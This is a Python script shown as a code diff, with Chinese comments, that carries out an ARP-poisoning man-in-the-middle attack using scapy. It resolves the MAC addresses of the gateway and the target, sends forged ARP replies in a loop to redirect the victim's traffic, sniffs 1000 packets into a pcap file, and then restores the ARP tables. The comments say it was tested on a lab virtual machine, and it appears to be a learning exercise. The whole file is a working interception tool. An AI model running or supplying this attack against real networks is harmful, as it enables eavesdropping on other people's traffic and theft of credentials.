|
| 1 | +#-*- coding:utf8 -*- |
| 2 | + |
| 3 | +from scapy.all import * |
| 4 | +import os |
| 5 | +import sys |
| 6 | +import threading |
| 7 | +import signal |
| 8 | + |
| 9 | +interface = "eth0" #要嗅探的网卡 |
| 10 | +target_ip = "10.10.10.140" #目标ip,这里测试的是另外一台虚拟机winxp |
| 11 | +gateway_ip = "10.10.10.2" #网关ip，这里是虚拟机的网关 |
| 12 | +packet_count = 1000 |
| 13 | + |
| 14 | +def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): |
| 15 | + |
| 16 | + # 以下代码调用send函数的方式稍有不同 |
| 17 | + print "[*] Restoring target..." |
| 18 | + send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) |
| 19 | + send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) |
| 20 | + |
| 21 | + # 发出退出信号到主线程 |
| 22 | + os.kill(os.getpid(), signal.SIGINT) |
| 23 | + |
| 24 | +def get_mac(ip_address): |
| 25 | + |
| 26 | + # srp函数（发送和接收数据包，发送指定ARP请求到指定IP地址,然后从返回的数据中获取目标ip的mac） |
| 27 | + responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) |
| 28 | + # 返回从响应数据中获取的MAC地址 |
| 29 | + for s,r in responses: |
| 30 | + return r[Ether].src |
| 31 | + return None |
| 32 | + |
| 33 | +def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): |
| 34 | + |
| 35 | + # 构建欺骗目标的ARP请求()，这里没设置hwsrc,默认就是本机咯 |
| 36 | + # 简单来说：告诉被攻击机器，本机（攻击机）的mac是网关，就是攻击者的机器是网关 |
| 37 | + poison_target = ARP() |
| 38 | + poison_target.op = 2 # 响应报文 |
| 39 | + poison_target.psrc = gateway_ip # 模拟是网关发出的, 其实是我们的机器发出的 |
| 40 | + poison_target.pdst = target_ip # 目的地是目标机器 |
| 41 | + poison_target.hwdst = target_mac # 目标的物理地址是目标机器的mac |
| 42 | + |
| 43 | + # 构建欺骗网关的ARP请求()，这里没设置hwsrc,默认就是本机咯 |
| 44 | + poison_gateway = ARP() |
| 45 | + poison_gateway.op = 2 # 响应报文 |
| 46 | + poison_gateway.psrc = target_ip # 模拟是目标机器发出的, |
| 47 | + poison_gateway.pdst = gateway_ip # 目的地是网关 |
| 48 | + poison_gateway.hwdst = gateway_mac # 目标的物理地址是网关的mac |
| 49 | + |
| 50 | + print "[*] Beginning the ARP poison. ［CTRL_C to stop］" |
| 51 | + |
| 52 | + while True: |
| 53 | + try: |
| 54 | + # 开始发送ARP欺骗包(投毒) |
| 55 | + send(poison_target) |
| 56 | + send(poison_gateway) |
| 57 | + # 停两秒 |
| 58 | + time.sleep(2) |
| 59 | + except KeyboardInterrupt: |
| 60 | + restore_target(gateway_ip, gateway_mac, target_ip, target_mac) |
| 61 | + |
| 62 | + print "[*] ARP poison attack finished" |
| 63 | + return |
| 64 | + |
| 65 | + |
| 66 | + |
| 67 | + |
| 68 | + |
| 69 | +# 设置嗅探的网卡 |
| 70 | +conf.iface = interface |
| 71 | + |
| 72 | +# 关闭输出 |
| 73 | +conf.verb = 0 |
| 74 | + |
| 75 | +print "[*] Setting up %s" % interface |
| 76 | + |
| 77 | +# 获取网关mac |
| 78 | +gateway_mac = get_mac(gateway_ip) |
| 79 | + |
| 80 | +if gateway_mac is None: |
| 81 | + print "[!!!] Failed to get gateway MAC. Exiting" |
| 82 | + sys.exit(0) |
| 83 | +else: |
| 84 | + print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac) |
| 85 | + |
| 86 | +# 获取目标(被攻击的机器)mac |
| 87 | +target_mac = get_mac(target_ip) |
| 88 | + |
| 89 | +if target_mac is None: |
| 90 | + print "[!!!] Failed to get target MAC. Exiting" |
| 91 | + sys.exit(0) |
| 92 | +else: |
| 93 | + print "[*] Target %s is at %s" % (target_ip, target_mac) |
| 94 | + |
| 95 | +# 启动ARP投毒（欺骗）线程 |
| 96 | +poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac)) |
| 97 | +poison_thread.start() |
| 98 | + |
| 99 | +try: |
| 100 | + print "[*] Starting sniffer for %d packets" % packet_count |
| 101 | + |
| 102 | + bpf_filter = "ip host %s " % target_ip # 过滤器 |
| 103 | + packets = sniff(count = packet_count, filter=bpf_filter, iface = interface) |
| 104 | + |
| 105 | + # 将捕获到的数据包输出到文件 |
| 106 | + wrpcap("arper.pcap", packets) |
| 107 | + # 还原网络配置 |
| 108 | + restore_target(gateway_ip, gateway_mac, target_ip, target_mac) |
| 109 | + |
| 110 | +except KeyboardInterrupt: |
| 111 | + # 还原网络配置 |
| 112 | + restore_target(gateway_ip, gateway_mac, target_ip, target_mac) |
| 113 | + sys.exit(0) |
0 commit comments